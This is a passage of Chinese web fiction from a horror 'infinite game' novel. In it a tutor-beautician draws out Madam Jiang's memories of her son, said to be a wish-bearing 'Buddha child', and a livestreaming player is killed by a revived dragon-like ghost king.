应该还用温度较高的热水浸泡了一会儿,十根手指都染着热意。 室内冷风未散,那双手暖得让人无法抗拒。 因此江夫人不仅没有被人突然触碰的不适,还放松地舒展眉梢,有一搭没一搭地问道:“不是说做光子嫩肤吗,怎么先给我按摩?” “请您原谅我的自作主张。”年轻人手上按摩的动作不停,低声道,“见您脸色疲惫,忍不住想先为您舒缓。” 江夫人一时没有回话。 吴医生出门时调节空调,这阵儿室内温度终于逐渐上升,暖热感恰到好处。 江夫人在淡雅的熏香里眯起眼睛,年轻人高超的手法惹得她昏昏欲睡。 疲乏的身体像是陷入柔软的云雾中,飘飘荡荡地找不到落脚点。 人在心满意足的时候总是格外好说话,江夫人也不能免俗。 她终于再次开口,意味不明地说道:“但我听你的语气,可没有一点自作主张的歉意。” 年轻人见她没有一点责怪的意思,笑着接话:“只因我之后想了想,既然在为您服务,当然要以您的感受为第一要务。所谓的规则不也该以人为本吗?” 江夫人迷迷糊糊地嗯了一声。 也是这时,她听到年轻人水到渠成地说道:“就像我同为江凯乐的家庭教师,也希望他能够快快乐乐地成长。” 江夫人一时还没听明白他说的什么。 约莫两三秒之后,猛然瞪大眼。 感受到手下肌肉的瞬间紧绷,谢叙白轻声道:“请您别动,我的手上涂了精油,蹭到头发上不好清洗。” “……” 江夫人不断耷拉的眼皮彻底睁开了,眼神冷漠,像不断涌动的暗潮。 她从下往上凝视谢叙白,注意到对方手边的架子上闪着银白色的金属亮光,一字一顿地问道:“你旁边放着什么,刀吗?” “刀?”谢叙白却显得非常疑惑。 顺着江夫人的目光转头去看,恍然大悟地将东西抽出来。 银白色的外包装在美容灯下折射出数道亮光,相当晃眼。 “这是为您准备的面膜,国外私人团队研制,还没有正式发售,但是效果极好。” 说完,谢叙白搭上掐在脖颈上的断手。 那只手掐得不算用力,但凭它硬如铜铁的指骨,让人毫不怀疑有没有捏碎骨头的能力。 谢叙白没有慌乱,摸着手背发干的纹理,心平气和地笑道:“您的手有些干燥,可能是这几天外出晒伤了,一会儿我再给您做个手部护理。” 纵观此时的美容室,场面属实叫人惊悚。 江夫人本尊还好端端地躺在椅子上,她的手却从腕部截断,变成青黑色的利爪,死死掐住谢叙白的咽喉。 “……”江夫人从椅子上起身。 如果不是看见断手正掐着谢叙白,且能感受到蓬勃有力的脉搏,透过颈下肌肤传来,光听青年平静的语气,她还以为自己掐的是一根木头。 江夫人忍不住仔细打量眼前的青年。 无论她再怎么观察,都在这名青年的身上看不到一点灵气或邪气。 很明显,对方就是个普通的人类。 这样的人,异化前的江家人都不一定会放在眼里。 可当她对上那双波澜不惊的眼睛,忽然生出一种明明掌握着对方的生死,却无法动手的失控感。 江夫人沉声:“谁安排你来的,江凯乐?” 谢叙白无奈地说:“夫人,虽然作为外人说这话不太合适,但我还是想说,您怎么能把自己的儿子想得那么坏?他是什么性格,难道您这个做母亲的还不清楚吗?” 江夫人根本没那么好糊弄,厉声道:“那你怎么会出现在这儿?” “我是江家聘用的美容师,同时也是江凯乐的家庭教师,这两者并不冲突。只是想到好不容易见您一次,想和您聊聊江同学近期的学习情况。” 谢叙白语气依旧自然,柔和得像一阵风:“刚才提到江同学的时候,您并没有表面上那么冷静,您在意他的,不是吗?” 江夫人没吭声。 但谢叙白摸着脖子上的断手,后者绷紧的肌肉明显有所松缓。 他扣着手掌关节,轻轻地一使劲儿,将断手取下来,重新安回江夫人血肉膨缩的手腕上。 “按摩还没有结束,或许我们可以一边继续一边聊。”谢叙白说,“您意下如何?”《 》 40-45 第41章 他应愿而生 平心而论,江夫人没法信任眼前这个浑身上下满是疑点的人类美容师。 特别是看到谢叙白转身洗掉手上的精油,真如最初所言,开始认认真真地为她准备护理用的面膜和手霜时,她的脑子里就油然生出一股子难以言喻的荒谬感。 “你真的是人类?”江夫人脱口而出。 听到这话,谢叙白下意识碰了碰自己的脖颈。 鬼手没有温度,冷得像从冰箱里捞出来的铁钳,他现在还能摸到没消下去的鸡皮疙瘩。 和面对吴医生时不同,江夫人是真的对他动了杀心。 所以不管他努力表现得有多么平静,生理反应都会真实地反映出他在畏惧。 只是以往的经验告诉谢叙白,他不能在诡怪的面前露怯,更不能激化它们的负面情绪。 生死攸关之际伪装真实情绪,说着简单做起来难,但一想到身陷囹圄的江凯乐,谢叙白就觉得自己要做到——不是能不能,而是必须做到。 对上江夫人充满疑虑的目光,谢叙白无奈地弯了下眼睛,实话实说道:“夫人,您就别打趣我了。” “要不是想着自己总得来拜见一下学生家长,我可能连这家医院的大门都不敢迈进。” 说完,他做出一副“还是暴露了真实目的”的尴尬表情,不好意思地挠了挠脸颊:“毕竟江同学最近的考试成绩实在是有点惨不忍睹……您知道他这学期连语文都没及格吗?” 怕这么说没法让江夫人意识到事情的严重性,谢叙白继续道:“他现在看不懂最基础的阅读理解,意味着以后继承家族事业也会看不懂书面合同,随便来个人都能坑他。” “您别觉得我是在危言耸听,现在纨绔子弟被人坑骗,赔掉祖宗三代基业的新闻比比皆是,何况江同学还是不爱听劝的性子。” 江夫人仍旧沉默,但表情已经开始松动。 谢叙白时刻注意她的反应,祭出最后的大杀器:“您要想想,如果江同学真的把整个江家都赔进去,到时候您还有余力正常消费生活吗?不仅买不起名牌包,还有您的那些高档美容护肤品、年费私人护理、度假游轮……” 江夫人脸皮子直抽搐:“够了!” 谢叙白可不觉得够,江夫人能被激起情绪才是迈向劝说成功的一大步。 他趁热打铁拿出江凯乐这次的期末考试成绩单,递到对方的面前。 江夫人面无表情地凝视着一脸无辜的谢叙白。 哪怕知道对方刚才的话有夸大其词的成分,视线余光还是不受控制地往成绩单上瞄。 只看一眼,额角青筋就疯狂地跳了起来,音量直线拔高。 “满分120他能考24?” 谢叙白轻咳一声:“夫人,江同学这学期已经升为高中生,满分150。” 言外之意,比您想象得还要糟糕。 江夫人:“……” 她铁青着脸不吭声,左右环顾仿佛在找杀子利器。 谢叙白急忙上前将人拉住,好言相劝十几分钟,才让差点气厥过去的江夫人坐回躺椅。 “我听说江同学以前成绩优异,性格也很不错,为人仗义,开朗大方,变成如今这副模样,可能和江家的环境以及江家主的教育有关。”谢叙白适时引导,“但也只是猜测,您有什么头绪吗?” 江夫人扶着胸口气若游丝,目视惨白的美容灯,眼神一片涣散,仿佛已经悟得红尘皆虚无的真谛。 但实际上她在不断地追忆,这笔孽债到底是如何开始的。 少顷她终于开口,没有从江凯乐本身受到的影响出发,状似风马牛不相及地提起一些往事。 “……在我嫁到江家之前,我听到的都是道贺和恭喜,包括我的父母在内,每个人都高兴得像我捡到了天大的便宜。” 然而谁也没告诉过她,占这样的便宜需要付出什么样的代价。 江夫人原姓许,也是名门世家出身,但和家大业大的江氏集团比起来,还是稍逊一筹。 无论婚前婚后,她和江家主都算不上感情深厚,甚至于他俩婚前只在联谊舞会上见过几次面。 当时江家主挑选的舞伴不是她,她所钟意的联姻人选也不是江家主。 可不知道为什么,最后江家的拜帖还是送到了她的手里。 然后她就开始和江家主频繁见面,尝试交往。 “其实我隐约感受得到,他并不喜欢我,哪有一个男人会在女朋友靠近的时候下意识皱眉?可他看向我的目光又实在热烈,就像我是他的希望和全部。” “当时他最常说的一句话,就是我和他的缔结是上天的安排,是无法忤逆的命运。” 江夫人目光飘远,喃喃道:“我也是被眼前的安逸迷昏头,竟将它当成寻常的情话。” 那段日子,尽管江夫人的第六感一直在示警,但她依旧很难判断江家主对她到底是真爱还是假爱。 她是许家独女,而江家主似乎也知道她不会被一般的物质条件所打动,所以在满足物欲的基础上,还把她的一言一语都放在心上。 江夫人记得最清楚的一件事,便是她在同学群里看到一对小情侣去追极光,对下人随口提上一句自己也想去。 当天晚上,刚在国外结束商业会议的江家主便马不停蹄地赶回来,眼色疲累,肩膀上还披着风雪。 身后的草坪停着一架直升飞机,而他笑着对她伸手说,一切已经安排妥当,现在就能走。 那晚的极光很绚丽,五彩斑斓的光映入江夫人的眸眼。 她被裹在厚实的绒被里,顺势仰望江家主来不及刮掉胡茬的下巴,生平头一次产生非嫁给此人不可的冲动。 再然后就是结婚生子,期间江家主体贴如旧,所有的事情都由他一手操办。 而她什么都不用管,什么都不用问,就能享受到最舒服的待遇。 大概是怀孕之后特别消耗精力,她慢慢变得不爱思考,也开始注意不到身边的变化,直至临盆。 “就像我一开始感受到的那样,他在那方面并不热络,怀孕后变本加厉,有时候我想和他温存一下,他都亲得极其敷衍……” 江夫人说话途中,忽然注意到谢叙白略带回避的眼神,稀奇地道:“你还没找过女朋友?” 谢叙白:“……” 平静的脸上似乎出现了一丝微乎其微的裂痕。 江夫人看得好笑,她没想到一个面对死亡都显得波澜不惊的人,那方面竟然如此纯情。 笑着调侃道:“没关系,早晚会遇到的,实在不行的话条件可以稍稍放宽一些,不要局限于性别。” 谢叙白:“…………” 他没想过江夫人会突然说出这种惊世骇俗的话。 “我没开玩笑。”江夫人的笑容淡了一点,语气也冷上不少,“毕竟像你们这样温柔体贴的男人,不就擅长把女人哄得团团转吗。”相互霍霍正好为民除害。 她承认自己是在迁怒。 只因想起当年生下江凯乐后,她卧在病床上疼得迷迷糊糊,却在仰头的一瞬间,看见江家主冷漠的脸上再度浮现出当初那抹令她心动的狂热。 除此之外,病房内还有许多江家人围在婴儿床前,专注的眼睛一个劲儿地盯着江凯乐,包括只在她结婚时出现过一次的族老。 族老拄着拐杖,脸上带着和江家主如出一辙的兴奋,颤颤巍巍地道:“是他,是他。” 宛如被人兜头泼下一盆冰水。 那一瞬间,江夫人终于在巨大的惊悚感中,忽然懂得江家主一直在说的“命运将我们连接在一起”到底是什么意思。 江夫人看向垂睫沉吟的谢叙白,笑吟吟地说道:“你知道吗?江家有一个不为外人所知的传闻,传说江家会在某一代诞生出佛子,拥有颠覆一切逆天改命的力量。” “我原本对这些封建迷信嗤之以鼻,并计划逃脱,但谁知道在江凯乐出生后,江家真的肉眼可见地好了起来。也是那时我才知道,江氏集团只是表面光鲜,实则决策失误,面临着巨额债务。” “多么老掉牙且荒唐的故事啊。”江夫人道,“可它就是发生了。” 如果按照一般的故事发展,江家会在风光一阵之后因滥用邪术而遭到反噬,最后下场凄凉。 但谁能想到在反噬开始前,先发生一件令所有人都意想不到的小事。 ——江凯乐在满岁的抓周仪式上,竟当众摔碎江家人准备的佛珠,并恶狠狠地咬了江家主一口。 “当时的江家如日中天,没人敢忤逆他的意见,结果被个走不利索的婴儿咬了满手血,你是不知道他当时的表情有多么好笑。” 想到江家主那时痛得脸皮扭曲、忍不住放声惨叫的样子,江夫人就忍不住想扬起嘴角。 笑了没两下,她的神色又黯淡下来,掺着一股子阴冷的味道:“什么佛子?那分明是一个怪物。” 没有哪个1岁小孩能长出满嘴尖牙,更没有哪个孩子会在父亲痛苦哀嚎、场面一片兵荒马乱的时候,咧开满是血的嘴巴,拍手哈哈大笑。 如果有的话,那一定是恶魔。 江夫人道:“族老把江凯乐的不正常归结于佛子生来不凡,所以行为异于常人。但哪怕他嘴巴说破皮,一只咬人的怪物怎么看也和‘佛’字挂不上钩。” “打那天起,江世荣就一改对江凯乐的喜爱,对他厌恶至极,随手将他丢给佣人去带,懒得再抱他一下。不过因为江凯乐依旧能庇护江家顺风顺水,所以江世荣哪怕再不喜欢,也没有实质性地伤害他。” 江夫人说到这里,忍不住犹疑一下,摸着躺椅的扶手道:“说来也怪异,远离江家主之后,江凯乐的一嘴尖牙便开始接二连三地掉落,重新长出乳牙。” “那时候的下人们特别喜欢他,换着法儿地逗他玩,没见他再咬过人。” 她不甚在意地笑道:“听说佛子能感应到人心之恶,或许就是因为江世荣恶贯满盈,才刺激得江凯乐下嘴去咬吧。” 认真聆听到这里、同时思考许久的谢叙白终于开口,提出一个关键性问题:“江家人的抓周仪式,真的只是平常的抓周仪式,没有用上什么邪术?” 江夫人闻言愣了愣,听谢叙白有理有据地推断道:“您刚才也说,他们专门为江凯乐求来一串佛珠。” 佛子对应佛珠,乍一看,当然不会觉得有什么问题。 但“专门”两字,放在利欲熏心的江家人身上,明摆着目的不纯。连江凯乐的出生都可能是一场阴谋,那他满岁的重要日子,又怎会风平浪静? 江夫人跟着皱眉深思,抓周是十五年前的事情,大多数细节她已经记不清晰。 但有谁……不,是有好几个人,在不同地方、不同时间说过一句相似的话,让她记忆犹新。 “佛子……应众生疾苦而生……” 江夫人的眉头越皱越紧,然而几次三番被混乱的思绪扰得头疼。 谢叙白适时按住她不受控痉挛起来的双肩,强调道:“您一定得想起来,江家什么情况您也知道,那孩子现在只剩您能救了!” 江夫人浑身一震,牙齿将嘴唇咬得生疼。 她原本极不待见江凯乐,她害怕自己生出来的这个怪物,可是那孩子学会说话的第一声,喊的是…… 【妈妈,你在这里住得不开心吗?】 【妈妈,别着急,你等我长大带你离开这里呀!】 记忆里的孩子天真无邪,自以为隐蔽地将摘来的鲜花藏在背后,漆黑透亮的大眼睛骨碌碌地转,偷偷摸摸地凑到她身边,呼地一下举起花,笑得阳光灿烂:【最爱妈妈啦!】 江夫人用力按住太阳穴,指甲几乎将头皮掐出血痕,拼命回想。 她就要想到了,那关键的几个字。 那几个字是—— “亦承众生之愿。” 第42章 全军覆没 直播大厅。 一阵喝彩声从多个分区排山倒海般传开,惊得众人探头。 看到这翻天阵仗,其他观众怔愣后瞬间喜出望外,冲上去逮着最近一个人问:“是不是谁通关了?!” 那名观众当即指向直播屏幕,兴奋得语无伦次:“BOSS已经被杀死了,马上就能通关!你们赶紧点播,全服通报没响,说不定还能参加积分抽奖,看到攻略彩蛋!” 其他人一听,急不可耐地去看直播间的房号。见主播竟然是一名记录【6】,当即佩服得五体投地。 进入直播间,更是满屏幕的赞美之词。 :牛逼! :6666666! :不愧是记录【6】的大佬,果真有实力,太厉害了! :就说《屠龙少年》从字面解才是最优解,哪里需要考虑这么多? :系统明摆着用心险恶。上场试炼来一个反转让所有人投鼠忌器,谁想到这场试炼根本不设坑,可不就把大家绕进去了嘛。 :还好大佬意志坚定,说干掉诡王一点都不拖泥带水,不然真要玩完。 弹幕虽说能讨论通关细节,但过不了多久就会被系统清空,试图钻空子连发攻略还会被禁言,是以弹幕多是癫狂的欢呼呐喊。 :啊啊啊啊大神太帅了!我要给你生猴子! 直播画面中,刚杀掉诡王的【6】看着疯狂上涨的积分余额,仿佛能感受到观众们的热情,抬头一瞥直播镜头,志得意满地大笑出声。 “看到没有,我说过会杀穿这场副本,诡王又算个屁!” 纵观【6】所在的战场,堪称一片狼藉。 房屋倒塌,激起阵阵尘雾。四处都是诡怪的碎肢残骸,漆黑的污血溅上泥砖,散发着浓烈扑鼻的臭气。 这场战斗打得很艰难,不提【6】的队友几乎全灭,他自己也已经精疲力竭,毕竟使用道具并非毫无限制,会消耗精神力。 【6】还是比较慎重,杀死诡王后谨慎冷静地观望过好几分钟,确定尸体没有心跳和脉搏,且看不出任何诈尸的迹象,方才放松下来。 此时他接连不断地放话,试图让观众们多给他打赏回血。 “还以为这头诡王最后会变成恶龙,谁想到从始至终都一个样,应该是成龙的机会被我掐断了吧!” 【6】踢了踢尸体的脑袋,漫不经心地说着恶言恶语:“可怜的家伙,别怪我不给你机会,世界就是这么残酷,要么你死要么我活。” 踢着踢着,他收回脚,好似良心未泯:“唉,都死得这么惨了,还是别再折磨它了。” 【6】这么说着,往前走几步。 忽然,他毫无征兆地猛转过身,狠狠把尸体踹飞出去。 这一脚力气极大,几乎能听到骨头碎裂的声音!又见他拎起三叉戟,干脆利落地将尸体分成几段,对着直播镜头露出一个残忍的笑:“你们都知道副本的尿性,不补刀不行。” 【6】显然是懂直播效果的,直播间瞬间弹幕爆炸。 有觉得他太残忍,有夸他谨小慎微、周全仔细。 而【6】看着再度上涨的积分,猖狂地笑道:“还以为最后尸体里会爬出一条龙,结果什么都没有,真没劲。” “好了好了,真走咯。”他将三叉戟抗在肩膀上,浓稠的污血顺着尖端淌落,啪嗒落地,大摇大摆地往前走。 现在还没有系统提示,看来必须苟满生存天数,他打算去找个安全点的地方。 浑然不知以第三人称视角观看直播的观众们,脸上的笑容倏然消失,嘴巴缓缓张大,瞳孔急剧凝缩,充斥着无法形容的震惊。 在他们的视野中,那滩快被砍成肉泥的尸体突然裂开一条缝,一只粗壮且布满狰狞鳞片的爪子从里面伸出。 它的巨大远超尸体的规格,它在以不符常理的速度和形式出现! 眨眼间,整条手臂撕裂空间,爪风掀起无数血沫。 五根尖锐的指甲猛然张开,啪地倒扣在瓦砾上,将坚硬的石头拍成齑粉! 【6】闻声回头,瞳孔寸寸睁大。 ——在他的脑袋被踩爆之前,他唯一能看见的,就是那凝缩成一条冰冷竖线的猩红兽瞳。 主播死后,直播间没有立刻消失。 观众们僵在屏幕前,看着那头遮天蔽日的红鳞怪物发出震天动地的咆哮,吐出熊熊烈焰。 那火焰不知道有什么特性,竟然连石砖都能点着! 霎时间整个废墟沦为一片火海,高温致使空气扭曲,无数道瘦长的黑影在里面疯狂挣扎,好似群魔乱舞。 红鳞怪物继续往前走,一脚跨出江家的大门,整片大地随之震颤。 它走到哪里,火就跟着烧到哪里,哪里就传开一片撕心裂肺的惨叫和嚎哭。 直至烈火烧遍触目能及的这片大地,满地都是形状不明的焦炭,除了物体爆裂的噼啪声响,再也听不到其他的动静,包括人声和风声。 红鳞巨物终于停步。 燎原烈火在这一瞬间恶狠狠地反扑,像刚才烧毁这片土地一样,毫不留情地将它点燃。 “吼——” 满嘴尖牙倏然松动,牙齿根部沾着破碎的血肉,淅淅沥沥掉落下来,如雨似泪。 巨物仰头望天,发出痛苦凄厉的哀嚎,却完全不做挣扎。 “吼!吼!……” 红鳞巨物卖力地吼着,不知在对谁发出诘问,哀嚎传遍天地。 直至浑身变成漆黑的焦炭,腐臭肮脏的血液在火中迅速蒸发,它才像累极了一般,缓缓阖上沉重的眼皮。 直播间啪一下化为数不清的光点消散。 所有看完这幕的观众,皆都一动不动地坐在座位上。长达数十秒,陷入死一般的沉寂。 各分区中央,观看池里的直播屏幕不断消失。 所有选择提前对诡王出手的闯关者,全军覆没。 * 江凯乐看着歪头做出聆听状的蝉生,忍不住问:“你怎么了?从刚才起就在发呆,叫你也不回话。” “有声音说,死了好多人。” 系统提示满是恶意,蝉生觉得不舒服,揉了揉耳朵。 抬头见江凯乐一脸疑惑,好像根本没听明白他在说什么,蝉生想了想,求助道:“你知道屠龙少年是什么吗?” 议会长在说屠龙少年,同场的玩家们也在说屠龙少年,就连谢叙白,偶尔也会轻声念叨两遍。 或许知道屠龙少年是什么,大家就不用死了,也不用这么苦恼。 “屠龙少年?” 江凯乐不知道蝉生的脑袋瓜都装的什么,刚才无厘头地冒出来一句“我吃了好多片面包”,下一秒又聊到什么屠龙少年。 不过看蝉生一脸期盼的样子,他还是认真想了想:“我只听过王子救公主的故事。残暴不仁的恶龙掳走公主,王子历经万险杀掉恶龙,最后抱得美人归。” 蝉生摇了摇头,他感觉不是这个。 江凯乐见他拧着眉头苦恼至极,也跟着纠结老半天,最后妥协地叹口气,拿出手机道:“好了好了,我帮你查查看。” 蝉生瞬间欣喜,积极地凑过去:“可以查到吗?” “当然可以,现在网络这么发达。”江凯乐对上手机屏幕,倏然想起什么,脸色不受控制地沉郁下去。 蝉生:“你怎么了?” “……没什么。”江凯乐点开手机屏幕。 蝉生就在旁边乖乖地等着,目视少年悬在屏幕上的指尖颤抖个不停,突然自暴自弃地将手机拍到他怀里:“算了算了,你自己查!” 蝉生茫然地接住手机,又看看他:“?” 一个傻子怎么会用手机?江凯乐知道这点,却没法鼓起勇气帮他搜索,憋了很久,闷声道:“如果让我看那些故事,一定会发生不好的事。” 循环开启后,他的房子里没有电视机,他的语文期末模拟卷上只填默写和基础选择题。 江凯乐再度想起谢叙白今天上午让他测试,好和他的母亲沟通成绩,可他对着密密麻麻的文字头晕目眩,多一个字都写不下去。 他真的很糟糕。 幸好老师当时什么都没说,只是揉了揉他的头……唔? 感受到头顶传来的触感,江凯乐讶然抬头,只见蝉生一边笨拙地揉他脑袋,一边冲他咧嘴露笑。 蝉生明显在学谢叙白安慰他的样子,只是脸上缠着绷带,表情僵硬,学了个四不像。 “没事的,不知道也没事的。”蝉生说,“我们去找余又吧。” 江凯乐愣住,盯着他僵立半晌,缓缓把脑袋上的手薅下来,手足无措地扒拉发型:“你干什么别乱摸,头发都被你弄乱了!” 蝉生:“啊,你的脸又红了。” 江凯乐:“闭嘴!” 江凯乐咬牙切齿地推着这傻子往前走,后者突然脚步一顿。 “怎么了?”江凯乐看不见蝉生面前突然弹出的虚拟屏幕,疑惑地探头问。 【队友使用集结令向你发出求助,是否传送至其身边?】 蝉生看着屏幕上的字,不认识,但记得。 出发前议会长有教他认道具的图案,这个必须去,因为很紧急。 “队友好像遇到麻烦了,他们需要我。”蝉生按照记忆点击确定。 江凯乐陡然生出一种不祥的预感,刹那间伸出手去拽他:“等一下,你别去!” 可手伸出去,却透过蝉生的身体,扑了个空。 蝉生对上瞳孔地震的江凯乐:“没事,不担心。” 他依依不舍地叮嘱道:“我会努力活着回来,糖一定要给我留着。” 想了想,他再度咧开嘴,朝少年笨拙地笑:“不要难过了,快去找余又吧。” 看着人从原地消失,江凯乐猩红兽瞳浮现:“蝉生——” 另一边,江家医院。 江夫人不是蠢人,“亦承众生愿”从口中吐出的刹那间,她心神俱震。 以往所有诡异违和的地方,仿佛被一根清晰明了的线串在一起! “为什么我会忘记这么重要的事?”江夫人不敢置信地呢喃,情绪失控下,无意识将钢制扶手捏得咔嚓作响,“是江家的人,是他们……!” 谢叙白却忍不住皱紧眉头,总觉得还有什么地方不对劲。 直觉告诉他,他已经无限接近于真相,只是缺少关键部分的拼图。 等一下? 谢叙白猛然抬头。 江夫人说,在江凯乐周岁露出凶恶相之后,下人们依然很喜欢他,这点说不通! 连亲生母亲都忍不住害怕的场面,正常人怎么可能无动于衷? 突然谢叙白灵光一闪,急于求证般问道:“在江凯乐出生到抓周仪式前,江家下人对他是什么态度,喜欢他的有多少?” “下人?”江夫人不知道谢叙白为什么要这么问,暂时忍住对江家的怒火,摇了摇头。 “那时候的江凯乐是整个江家的命根子,谁敢怠慢?” “但他毕竟流着江世荣的血。”江夫人话锋一转,叹气道,“江家的家规森严,对下人尤其严苛,还不允许他们辞职,有几个能做到心无芥蒂?” 话音未落,谢叙白唰一下站起身,凝重的脸色吓了江夫人一跳。 “抱歉夫人,我现在必须马上找到江凯乐,不能让江家的任何一个人再和他接触!” 不等江夫人开口,谢叙白迈开步子往外跑,神色焦急。 景象顺着余光飞速后退,思绪如闪电般划过脑海。 江家下人不是“依然”喜欢江凯乐,而是“突然”! 为什么会突然喜欢?因为看到江凯乐咬江家主,他们引以为乐。 承众生之愿,江家人是众生,那江家的下人又何尝不是众生?甚至于他们的人数更多,遭遇更惨。 当饱受江家压迫且无法脱困时,下人们陡然知道一个可能实现愿望的机会,他们会怎么做? 许个愿而已,又不费什么力气,也没有明码标注的代价,对被逼到绝路的人来说,为什么不试一试?万一能实现呢? 人们所期盼的愿望或许没法达成一致,但对某类人的仇恨一定可以。 ——他们恨不得包括江家主在内的江家人去死。 于是江凯乐手持佛珠,承载他们的仇恨,长出满嘴尖牙,一口咬上喜笑颜开的江家主。 此时谢叙白终于想明白,世间种种恶意就是使江凯乐异化的根源。 想要解救江凯乐,必须先让他远离那些心有恶念的人! 轰! 突然一阵地动山摇,谢叙白连忙扶住墙壁站稳。 他蓦然抬头,只见光天化日之下,天空却噼里啪啦闪着雷光,漫天火球与冰雪风暴齐下,时不时还能听到诡怪的嘶吼。 眼看江家下人目光呆滞,像受到召唤般成群涌向动静爆发的地方,谢叙白的心脏狠狠一咯噔。 第43章 逼宫现场 没走几步,谢叙白发现事情比自己预计中还要糟糕。 不远处人头攒动,密密麻麻看不清人影——几乎整个江家的下人都被召唤过来,堵在路口形成一道牢固的人墙,让后来者根本进不去。 不管是谢叙白之前找过的江爷还是江四爷,他们都闹不出这样的动静。 难道说那些玩家惊动了江家主? 谢叙白飞跑的双脚,在疯狂涌动的人潮前刹停! 他对自己脆弱的身板很有自知之明,这么多异化的“人”挡在眼前,就算强行挤进去也会变成肉干,更别说能不能及时赶到前排。 谢叙白垂睫,用力掐按眉心,嘴唇抿紧成一条凌厉的直线。 倏而他掀开眼皮,眸色深沉。 既然已经闹开,那就不妨再闹得大一点! 就如谢叙白料想的那样,另一边的玩家群体正撞上不小的麻烦,这麻烦和他们开局遇上的分支剧情有关。 时间回到一天前。 当江凯乐展露诡王之身,要求玩家出招争夺家主之位后,严岳等人面前唰一下亮起半透明的虚拟屏幕。 【检索到主线剧情之一:帮助江凯乐(身份:江家继承人)夺取家主之位。】 【此处属于试炼的重要节点,玩家的最终选择将直接影响到过后的剧情走向。】 提示没有具体选项,却暗示有其他的分支可选。 严岳等玩家为了多获取线索,表面顺从地答应下江凯乐的要求。 等少年离开,他们遵循任务指引留在阶梯教室,看见浑身焦黑、形如枯骸的老管家从墙里颤颤巍巍地爬出来。 被那样凶猛的大火烧灼快十分钟,老管家的状态可想而知有多么糟糕。 他撑在地板上不断咳嗽,吐出不少带着血丝的炭渣。瘦弱的身躯随剧烈的咳嗽声耸动,似风前残烛。血肉以极其缓慢的速度在这具焦炭般的身躯上重新生长。 这一幕实在诡异,严岳等人担心冒冒失失过去后会被老管家充当人肉血瓶,在旁边谨慎地进行观望。 但看着对方痛苦挣扎的模样,他们不得不承认,比起刚出现就给所有人下马威的江凯乐,眼前的老人更像被欺凌的弱势一方。 此时在场玩家对自己能选择的立场大概有了个数。 无限游戏没有可以从头贯彻到尾的攻略主旨,活到最后一天就算成功。 所以玩家可以选择走杀戮线干掉BOSS,也可以走救赎线解救NPC。 利用保命道具苟到天荒地老也不失为一种办法,但经尝试,在诡王试炼里行不通。 只因BOSS结尾会直接暴走,龙卷风式摧毁整场副本,旨在一个无人生还。 当没有选择的余地,或选择受到局限,玩家们的实际行为也无法完全代表他们的善恶观。 就比如看到老管家步履蹒跚地站起身,胡昌脸上满是悲怜,转头却在组队频道内连点严岳的名:【打个商量,让你的死士再给它来一下,看看这NPC最后能复活几次。】 严岳:……你还想再死一次吗? 胡昌:别这样,认真的,我知道前面咱们有点误会,但大家不都是为了通关试炼? 胡昌:你把死士借我用一次,大不了等我把蝉生抢回来后还给你。那可是一次活命的机会,对你来说绝对不亏,考虑一下吧! 看得严岳一阵窝火,眉毛跳个不停。 他连忙看向死士,怕人情绪激动和胡昌打起来。 然而后者面色如常,好似根本不在乎胡昌把自己当物品讨要,也不在意严岳会不会随手把自己转让出去。 严岳一愣,点进队友的状态栏,却见对方的名字下面挂着一个硕大的【死士(已认主)】图标。 这图标组队的时候还没有。 不难想象,是该名玩家进副本后,对自己使用精神控制类道具,主动把自己变成名为“死士”的工具。 严岳心里直感悲壮,更加坚定要通关这场试炼的想法。 他在组队频道冷厉地警告道:不管你想要做什么,别妨碍到我,不然我一定先铲除你这个不稳定因素! 别看胡昌只是嘴贫一句,如果真有机会试验怪物能不能无限复活,他绝对会毫无顾忌地下手。 但凡登上实力总榜的人,基本上都有在死亡边缘疯狂试探的毛病。 一方面是可以刺激观众打赏,另一方面极限(作死)操作往往能试验出刁钻讨巧的攻略方法。 观众看得开心还受益匪浅,其他玩家哪怕厌烦也无可奈何。 但这不是严岳下决心开场就和胡昌划清界限的原因。 他毫不怀疑后者会为了活命给他下绊子,或者直接利用他和其他玩家的命试探副本深浅。 胡昌看着严岳的回复,灰暗的眼珠子一转,无声冷笑。 两方人算是彻底闹崩。 在严岳的示意下,死士玩家上前搀扶老管家,一阵嘘寒问暖后,得到线索一:“大少爷最近性情大变,越来越暴躁,就好像变了个人一样。” 线索二:“咳咳,没关系,我已经习惯了。活在江家大院的下人们,哪一个不是这样艰难地苟活着?” 线索三:“大少爷屡次忤逆家主的意愿,还有他做出的那些过火行为,都让家主很不高兴,所以才招聘你们过来教大少爷重新学习礼仪。” 老人说话的功夫,忍不住再次弯腰咳嗽两声,浑浊黯淡的眼睛望向所有玩家,状似诚恳地忠告道:“刚才大少爷特意把我和其他人关起来,我不知道他和你们说了些什么,但你们最好一句都不要相信。” “要知道大少爷天性恶毒,他在几岁的时候就烧毁了整个江家祠堂,包括留在里面的人也被一并烧死!简直就是头怪,咳咳咳,怪物!” 老管家说完,扶着急剧起伏的胸口,有气无力地道:“家主也想见见你们,跟我过来吧。” 在众玩家互相交换眼神。 此时已经有两人明显出现动容,其他玩家也满脸凝重。 唯有严岳,或许是疑心病作祟,总觉得老管家在刻意引导他们对江凯乐产生恶感。 之后由老管家带路,一众玩家在主宅面见江家主,后者不合常理的老态令他们触目心惊。 书房昏暗阴森,形如枯槁的老家主坐在轮椅上,捏着拐杖的手用力到发抖,眼白布满蛛网般的红血丝,看起来非常激动。 可他整个人又像被无形的钉子封死关节,不管情绪再怎么激烈,也纹丝不动。 那张泛白起皮的嘴唇一张一合,说话方式犹如没有感情的提词器。 “我要你们在联谊舞会开始前,教会江凯乐宴会的基本礼仪和一支交际舞。” 随后就是玩家们关注的重点。 只见江家主摆摆手,让老管家拿出一箱子黄金,还有个用黄色符箓封贴的檀木盒子。 “时限为七天,作为报酬,这箱黄金可以全部送给你们。” 金银对玩家无用,但诡王副本出品,必属精品。 当即有人鉴定黄金的附加属性,发现居然有个开光赐福、能带来幸运加成的效果,顿时喜上眉梢:“好,我们一定——” 要知道运气类道具极其稀缺,每一个拿到黑市里都能卖出上万积分,而这里整整有一大箱! 怎能不让玩家情难自禁? 在她将要满口答应下来之前,严岳连忙将其打断,看向被江家主紧紧按在掌下的檀木盒子,谨慎追问:“家主既然把东西都拿了出来,是不是说明另一边的盒子里也放着我们的报酬?” 刹那间,本就昏暗的书房又暗上一度。 气温急速骤降,张口甚至能吐出白雾,冷得强化过身体的几名玩家也忍不住直打哆嗦。 而江家主的表情也更加狰狞,拐杖咔一声被捏出偌长的裂痕。他浑身抖动,仿佛随时都能跳起来吃人。 